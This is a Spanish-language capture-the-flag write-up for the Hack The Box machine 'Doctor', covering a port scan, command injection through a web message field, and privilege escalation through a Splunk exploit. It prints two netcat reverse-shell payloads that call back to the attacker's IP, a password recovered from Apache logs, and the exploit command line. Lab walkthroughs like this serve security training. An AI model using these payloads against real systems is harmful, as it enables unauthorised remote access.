Doctor Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
aceda3f4...
#Root Flag
11b0dc37...

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Realizar un escaneo de puertos

$ sudo nmap -sS -sC -sV 10.10.10.209 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA) | 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA) |_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Doctor 8089/tcp open ssl/http Splunkd httpd | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Splunkd |_http-title: splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-09-06T15:57:27 |_Not valid after: 2023-09-06T15:57:27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que tiene los puertos 22, 80 y 8089 abiertos.

Capturar User Flag

Editamos el fichero de host y añadimos la IP de la máquina (10.10.10.209) con un hostname custom.

$ sudo nano /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.10.10.209 doctors.htb

Si volvemos a entrar a través del navegador vemos que se nos abre un login con la siguiente url:

http://doctors.htb/login?next=%2F

Login doctor
Login doctor

Aunque pongamos una inyección SQL básica no va a funcionar. Tampoco el recuperar contraseña…

Pero tenemos una URL para registrarnos.

http://doctors.htb/login

Nos registramos con un correo falso y nos logueamos, esto nos llevará a un panel de administración.

En la parte de New Message podemos escribir un mensaje en el que invocaremos nuestra shell reversa.

[http://doctors.htb/post/new](http://doctors.htb/post/new)

Para ello abrimos una nueva terminal para lanzar netcat por el puerto 4444 a la escucha de nuevas conexiones

$ sudo nc -nlvp 4444

En la página web, en el campo de mensaje ponemos el siguiente código:

<img src=http://TUNNEL_IP/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'TUNNEL_IP'$IFS'4444')>

Donde TUNNEL_IP es nuestra IP de la VPN de la interface tun0, $IFS es una variable de entorno que indica el separador por defecto y 4444 es el puerto en el que hemos puesto el netcat a escuchar.

En la terminal de Netcat se nos abrirá una nueva shell reversa limitada con el usuario web.

netcat
netcat

Tenemos que lanzar una shell /bin/bash con más funcionalidades. Eso lo hacemos desde python con la siguiente línea:

python3 -c 'import pty;pty.spawn("/bin/bash")’

shell completa
shell completa

En el directorio /home/shaun está la FLAG de user.txt pero no podremos abrirla debido a que no tenemos permisos.

Tampoco podemos hacer un sudo -l porque no conocemos la contraseña del usuario web por lo que no podemos hacer en este punto una escalada de privilegios.

Tenemos que irnos al directorio de apache para revisar los logs

$ cd /var/log/apache2 $ cat backup

Hay que buscar si ha habido alguna petición solicitando un password

$ grep -r password? backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password”

Asumimos que Guitar123 es también la contraseña y nos cambiamos al usuario shaun

$ su shaun

Volvemos a su $HOME y ya podemos revisar el fichero user.txt obteniendo así la USER Flag

user flag
user flag

Capturar Root Flag

Para obtener la Root Flag tenemos que explotar una vulnerabilidad en Splunk en el puerto 8089.

Para ello necesitamos descargar un script de python desde este repositorio https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2

Cuando lo tengamos clonado abrimos una nueva terminal con un netcat en el puerto 4444 escuchando de nuevo.

$ nc -nlvp 4444

Desde otra terminal lanzaremos el exploit con la siguiente línea:

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost TUNNEL_IP --username shaun --password Guitar123 --payload 'nc.traditional -e/bin/sh '10.10.14.82' '4444''

También te puede interesar

Knife Writeup

Knife Writeup

Kotarak Writeup

Kotarak Writeup

Laboratory Writeup

Laboratory Writeup